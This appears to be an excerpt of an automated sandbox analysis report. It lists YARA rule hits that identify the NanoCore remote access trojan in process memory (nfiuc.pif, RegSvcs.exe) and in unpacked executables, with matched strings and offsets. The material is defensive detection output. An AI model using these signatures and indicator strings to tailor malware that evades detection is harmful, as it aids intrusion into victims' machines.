Process Memory Space: nfiuc.pif PID: 984	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x7a651:$a: NanoCore 0x7a66d:$a: NanoCore 0x7a7c8:$a: NanoCore 0x7a7d7:$a: NanoCore 0x7aab0:$a: NanoCore 0x7aadc:$a: NanoCore 0x7ab4c:$a: NanoCore 0x8a58e:$a: NanoCore 0x8a5a0:$a: NanoCore 0x8a5dc:$a: NanoCore 0x9cc76:$a: NanoCore 0x9cc92:$a: NanoCore 0x9cded:$a: NanoCore 0x9cdfc:$a: NanoCore 0x9d0d5:$a: NanoCore 0x9d101:$a: NanoCore 0x9d171:$a: NanoCore 0xacbb3:$a: NanoCore 0xacbc5:$a: NanoCore 0xacc01:$a: NanoCore 0xbbb60:$a: NanoCore
Process Memory Space: RegSvcs.exe PID: 4876	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x29ac:$x1: NanoCore.ClientPluginHost 0x2b145:$x1: NanoCore.ClientPluginHost 0x2d7c0:$x1: NanoCore.ClientPluginHost 0x333ed:$x1: NanoCore.ClientPluginHost 0x44702:$x1: NanoCore.ClientPluginHost 0xb6a40:$x1: NanoCore.ClientPluginHost 0xb911f:$x1: NanoCore.ClientPluginHost 0x2a0d:$x2: IClientNetworkHost 0x2b16b:$x2: IClientNetworkHost 0x33432:$x2: IClientNetworkHost 0x44747:$x2: IClientNetworkHost 0xb6a66:$x2: IClientNetworkHost 0x7e12:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x15d84:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: RegSvcs.exe PID: 4876	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 4876	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x24b1:$a: NanoCore 0x24cd:$a: NanoCore 0x2628:$a: NanoCore 0x2637:$a: NanoCore 0x2910:$a: NanoCore 0x293c:$a: NanoCore 0x29ac:$a: NanoCore 0x123ee:$a: NanoCore 0x12400:$a: NanoCore 0x1243c:$a: NanoCore 0x2b037:$a: NanoCore 0x2b0d8:$a: NanoCore 0x2b145:$a: NanoCore 0x2b206:$a: NanoCore 0x2c0d7:$a: NanoCore 0x2c12a:$a: NanoCore 0x2c163:$a: NanoCore 0x2c1d6:$a: NanoCore 0x2d7c0:$a: NanoCore 0x2d83a:$a: NanoCore 0x2dba6:$a: NanoCore
Process Memory Space: RegSvcs.exe PID: 5660	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x38326:$x1: NanoCore.ClientPluginHost 0x3a9b3:$x1: NanoCore.ClientPluginHost 0x12c7cf:$x1: NanoCore.ClientPluginHost 0x1696cf:$x1: NanoCore.ClientPluginHost 0x268f4d:$x1: NanoCore.ClientPluginHost 0x277b12:$x1: NanoCore.ClientPluginHost 0x294a20:$x1: NanoCore.ClientPluginHost 0x29709b:$x1: NanoCore.ClientPluginHost 0x29ccc8:$x1: NanoCore.ClientPluginHost 0x2adfdd:$x1: NanoCore.ClientPluginHost 0x3834c:$x2: IClientNetworkHost 0x12c814:$x2: IClientNetworkHost 0x268f73:$x2: IClientNetworkHost 0x277b73:$x2: IClientNetworkHost 0x294a46:$x2: IClientNetworkHost 0x29cd0d:$x2: IClientNetworkHost 0x2ae022:$x2: IClientNetworkHost 0x27cf78:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x28aeea:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
Process Memory Space: RegSvcs.exe PID: 5660	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 5660	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xb076:$a: NanoCore 0x1d633:$a: NanoCore 0x296e5:$a: NanoCore 0x2974d:$a: NanoCore 0x29814:$a: NanoCore 0x38218:$a: NanoCore 0x382b9:$a: NanoCore 0x38326:$a: NanoCore 0x383e7:$a: NanoCore 0x392b8:$a: NanoCore 0x3930b:$a: NanoCore 0x39344:$a: NanoCore 0x393b7:$a: NanoCore 0x3a9b3:$a: NanoCore 0x3aa2d:$a: NanoCore 0x3ad99:$a: NanoCore 0x3b857:$a: NanoCore 0x3b89d:$a: NanoCore 0x3ba64:$a: NanoCore 0xd1680:$a: NanoCore 0xdccde:$a: NanoCore
Process Memory Space: nfiuc.pif PID: 1380	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x761a:$x1: NanoCore.ClientPluginHost 0x26500:$x1: NanoCore.ClientPluginHost 0x46877:$x1: NanoCore.ClientPluginHost 0x4baa37:$x1: NanoCore.ClientPluginHost 0x4dc0c9:$x1: NanoCore.ClientPluginHost 0x4fafaf:$x1: NanoCore.ClientPluginHost 0x55013a:$x1: NanoCore.ClientPluginHost 0x58e165:$x1: NanoCore.ClientPluginHost 0x5f8716:$x1: NanoCore.ClientPluginHost 0x6191f3:$x1: NanoCore.ClientPluginHost 0x6358e4:$x1: NanoCore.ClientPluginHost 0x66e04b:$x1: NanoCore.ClientPluginHost 0x68cf31:$x1: NanoCore.ClientPluginHost 0x6abe17:$x1: NanoCore.ClientPluginHost 0x6dd083:$x1: NanoCore.ClientPluginHost 0x6fbf6a:$x1: NanoCore.ClientPluginHost 0x71ae50:$x1: NanoCore.ClientPluginHost 0x74e3e6:$x1: NanoCore.ClientPluginHost 0x76b008:$x1: NanoCore.ClientPluginHost 0x78b38e:$x1: NanoCore.ClientPluginHost 0x7ab48b:$x1: NanoCore.ClientPluginHost
Process Memory Space: nfiuc.pif PID: 1380	JoeSecurity_AntiVM_1	Yara detected AntiVM autoit script	Joe Security
Process Memory Space: nfiuc.pif PID: 1380	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
Process Memory Space: nfiuc.pif PID: 1380	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x711f:$a: NanoCore 0x713b:$a: NanoCore 0x7296:$a: NanoCore 0x72a5:$a: NanoCore 0x757e:$a: NanoCore 0x75aa:$a: NanoCore 0x761a:$a: NanoCore 0x1705c:$a: NanoCore 0x1706e:$a: NanoCore 0x170aa:$a: NanoCore 0x26005:$a: NanoCore 0x26021:$a: NanoCore 0x2617c:$a: NanoCore 0x2618b:$a: NanoCore 0x26464:$a: NanoCore 0x26490:$a: NanoCore 0x26500:$a: NanoCore 0x35f42:$a: NanoCore 0x35f54:$a: NanoCore 0x35f90:$a: NanoCore 0x4637c:$a: NanoCore
Click to see the 125 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.3.nfiuc.pif.4272830.2.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
1.3.nfiuc.pif.4272830.2.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0x16622:$s4: PipeCreated 0xe3b7:$s5: IClientLoggingHost
1.3.nfiuc.pif.4272830.2.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.3.nfiuc.pif.4272830.2.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x1664e:$e: KeepAlive 0x1463c:$g: LogClientMessage 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q
2.2.RegSvcs.exe.391560b.4.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1646:$x1: NanoCore.ClientPluginHost 0x151e3:$x1: NanoCore.ClientPluginHost 0x2e182:$x1: NanoCore.ClientPluginHost 0x15210:$x2: IClientNetworkHost 0x2e1af:$x2: IClientNetworkHost
2.2.RegSvcs.exe.391560b.4.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x1646:$x2: NanoCore.ClientPluginHost 0x151e3:$x2: NanoCore.ClientPluginHost 0x2e182:$x2: NanoCore.ClientPluginHost 0x1724:$s4: PipeCreated 0x162be:$s4: PipeCreated 0x2f25d:$s4: PipeCreated 0x1660:$s5: IClientLoggingHost 0x151fd:$s5: IClientLoggingHost 0x2e19c:$s5: IClientLoggingHost
2.2.RegSvcs.exe.391560b.4.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
2.2.RegSvcs.exe.391560b.4.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x1646:$a: NanoCore 0x1690:$a: NanoCore 0x187a:$a: NanoCore 0x15199:$a: NanoCore 0x151ae:$a: NanoCore 0x151e3:$a: NanoCore 0x2e138:$a: NanoCore 0x2e14d:$a: NanoCore 0x2e182:$a: NanoCore 0x13df:$b: ClientPlugin 0x164f:$b: ClientPlugin 0x1699:$b: ClientPlugin 0x14f55:$b: ClientPlugin 0x14f70:$b: ClientPlugin 0x14fa0:$b: ClientPlugin 0x151b7:$b: ClientPlugin 0x151ec:$b: ClientPlugin 0x2def4:$b: ClientPlugin 0x2df0f:$b: ClientPlugin 0x2df3f:$b: ClientPlugin 0x2e156:$b: ClientPlugin
11.3.nfiuc.pif.4679e70.0.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x44995:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x449d2:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x48505:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
11.3.nfiuc.pif.4679e70.0.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x4470d:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x44995:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x45fce:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x45fc2:$s2: FileCommand 0x1266b:$s3: PipeExists 0x46e73:$s3: PipeExists 0x18422:$s4: PipeCreated 0x4cc2a:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost 0x449bf:$s5: IClientLoggingHost
11.3.nfiuc.pif.4679e70.0.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
11.3.nfiuc.pif.4679e70.0.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0x446fd:$a: NanoCore 0x4470d:$a: NanoCore 0x44941:$a: NanoCore 0x44955:$a: NanoCore 0x44995:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x4475c:$b: ClientPlugin 0x4495e:$b: ClientPlugin 0x4499e:$b: ClientPlugin 0x1007b:$c: ProjectData 0x44883:$c: ProjectData 0x10a82:$d: DESCrypto 0x4528a:$d: DESCrypto 0x1844e:$e: KeepAlive
2.2.RegSvcs.exe.60a0000.10.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1646:$x1: NanoCore.ClientPluginHost
2.2.RegSvcs.exe.60a0000.10.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x1646:$x2: NanoCore.ClientPluginHost 0x1724:$s4: PipeCreated 0x1660:$s5: IClientLoggingHost
2.2.RegSvcs.exe.391b041.6.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
2.2.RegSvcs.exe.391b041.6.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
2.2.RegSvcs.exe.391b041.6.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.3.nfiuc.pif.4272830.1.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
1.3.nfiuc.pif.4272830.1.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0x16622:$s4: PipeCreated 0xe3b7:$s5: IClientLoggingHost
1.3.nfiuc.pif.4272830.1.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.3.nfiuc.pif.4272830.1.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x1664e:$e: KeepAlive 0x1463c:$g: LogClientMessage 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q
11.3.nfiuc.pif.474baa0.5.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
11.3.nfiuc.pif.474baa0.5.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0x16622:$s4: PipeCreated 0xe3b7:$s5: IClientLoggingHost
11.3.nfiuc.pif.474baa0.5.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
11.3.nfiuc.pif.474baa0.5.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x1664e:$e: KeepAlive 0x1463c:$g: LogClientMessage 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q
12.2.RegSvcs.exe.448560b.6.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1646:$x1: NanoCore.ClientPluginHost 0x151e3:$x1: NanoCore.ClientPluginHost 0x2e182:$x1: NanoCore.ClientPluginHost 0x15210:$x2: IClientNetworkHost 0x2e1af:$x2: IClientNetworkHost
12.2.RegSvcs.exe.448560b.6.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x1646:$x2: NanoCore.ClientPluginHost 0x151e3:$x2: NanoCore.ClientPluginHost 0x2e182:$x2: NanoCore.ClientPluginHost 0x1724:$s4: PipeCreated 0x162be:$s4: PipeCreated 0x2f25d:$s4: PipeCreated 0x1660:$s5: IClientLoggingHost 0x151fd:$s5: IClientLoggingHost 0x2e19c:$s5: IClientLoggingHost
12.2.RegSvcs.exe.448560b.6.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
12.2.RegSvcs.exe.448560b.6.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x1646:$a: NanoCore 0x1690:$a: NanoCore 0x187a:$a: NanoCore 0x15199:$a: NanoCore 0x151ae:$a: NanoCore 0x151e3:$a: NanoCore 0x2e138:$a: NanoCore 0x2e14d:$a: NanoCore 0x2e182:$a: NanoCore 0x13df:$b: ClientPlugin 0x164f:$b: ClientPlugin 0x1699:$b: ClientPlugin 0x14f55:$b: ClientPlugin 0x14f70:$b: ClientPlugin 0x14fa0:$b: ClientPlugin 0x151b7:$b: ClientPlugin 0x151ec:$b: ClientPlugin 0x2def4:$b: ClientPlugin 0x2df0f:$b: ClientPlugin 0x2df3f:$b: ClientPlugin 0x2e156:$b: ClientPlugin
12.2.RegSvcs.exe.349e6b0.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1646:$x1: NanoCore.ClientPluginHost
12.2.RegSvcs.exe.349e6b0.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x1646:$x2: NanoCore.ClientPluginHost 0x1724:$s4: PipeCreated 0x1660:$s5: IClientLoggingHost
12.2.RegSvcs.exe.44807ce.4.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x4083:$x1: NanoCore.ClientPluginHost
12.2.RegSvcs.exe.44807ce.4.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x4083:$x2: NanoCore.ClientPluginHost 0x4161:$s4: PipeCreated 0x409d:$s5: IClientLoggingHost
2.2.RegSvcs.exe.60b0000.11.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost
2.2.RegSvcs.exe.60b0000.11.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost
2.2.RegSvcs.exe.60b0000.11.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
12.2.RegSvcs.exe.448b041.5.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0x2874c:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost 0x28779:$x2: IClientNetworkHost
12.2.RegSvcs.exe.448b041.5.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x2874c:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0x29827:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost 0x28766:$s5: IClientLoggingHost
12.2.RegSvcs.exe.448b041.5.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
11.3.nfiuc.pif.474baa0.5.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
11.3.nfiuc.pif.474baa0.5.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
11.3.nfiuc.pif.474baa0.5.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
11.3.nfiuc.pif.474baa0.5.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
12.2.RegSvcs.exe.44807ce.4.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0x6483:$x1: NanoCore.ClientPluginHost 0x1a020:$x1: NanoCore.ClientPluginHost 0x32fbf:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost 0x1a04d:$x2: IClientNetworkHost 0x32fec:$x2: IClientNetworkHost
12.2.RegSvcs.exe.44807ce.4.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x6483:$x2: NanoCore.ClientPluginHost 0x1a020:$x2: NanoCore.ClientPluginHost 0x32fbf:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0x6561:$s4: PipeCreated 0x1b0fb:$s4: PipeCreated 0x3409a:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost 0x649d:$s5: IClientLoggingHost 0x1a03a:$s5: IClientLoggingHost 0x32fd9:$s5: IClientLoggingHost
12.2.RegSvcs.exe.44807ce.4.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
12.2.RegSvcs.exe.44807ce.4.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xddf:$a: NanoCore 0xe38:$a: NanoCore 0xe75:$a: NanoCore 0xeee:$a: NanoCore 0x6483:$a: NanoCore 0x64cd:$a: NanoCore 0x66b7:$a: NanoCore 0x19fd6:$a: NanoCore 0x19feb:$a: NanoCore 0x1a020:$a: NanoCore 0x32f75:$a: NanoCore 0x32f8a:$a: NanoCore 0x32fbf:$a: NanoCore 0xe41:$b: ClientPlugin 0xe7e:$b: ClientPlugin 0x177c:$b: ClientPlugin 0x1789:$b: ClientPlugin 0x621c:$b: ClientPlugin 0x648c:$b: ClientPlugin 0x64d6:$b: ClientPlugin 0x19d92:$b: ClientPlugin
2.2.RegSvcs.exe.28f3490.2.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x40a6:$x1: NanoCore.ClientPluginHost
2.2.RegSvcs.exe.28f3490.2.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x40a6:$x2: NanoCore.ClientPluginHost 0x4184:$s4: PipeCreated 0x40c0:$s5: IClientLoggingHost
11.3.nfiuc.pif.46e2a90.8.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
11.3.nfiuc.pif.46e2a90.8.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
11.3.nfiuc.pif.46e2a90.8.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
11.3.nfiuc.pif.46e2a90.8.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
1.3.nfiuc.pif.4272830.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
1.3.nfiuc.pif.4272830.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
1.3.nfiuc.pif.4272830.1.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.3.nfiuc.pif.4272830.1.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
12.2.RegSvcs.exe.3499650.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0x66a6:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
12.2.RegSvcs.exe.3499650.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x66a6:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0x6784:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost 0x66c0:$s5: IClientLoggingHost
11.3.nfiuc.pif.474baa0.6.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe38d:$x1: NanoCore.ClientPluginHost 0xe3ca:$x2: IClientNetworkHost 0x11efd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
11.3.nfiuc.pif.474baa0.6.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe105:$x1: NanoCore Client.exe 0xe38d:$x2: NanoCore.ClientPluginHost 0xf9c6:$s1: PluginCommand 0xf9ba:$s2: FileCommand 0x1086b:$s3: PipeExists 0x16622:$s4: PipeCreated 0xe3b7:$s5: IClientLoggingHost
11.3.nfiuc.pif.474baa0.6.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
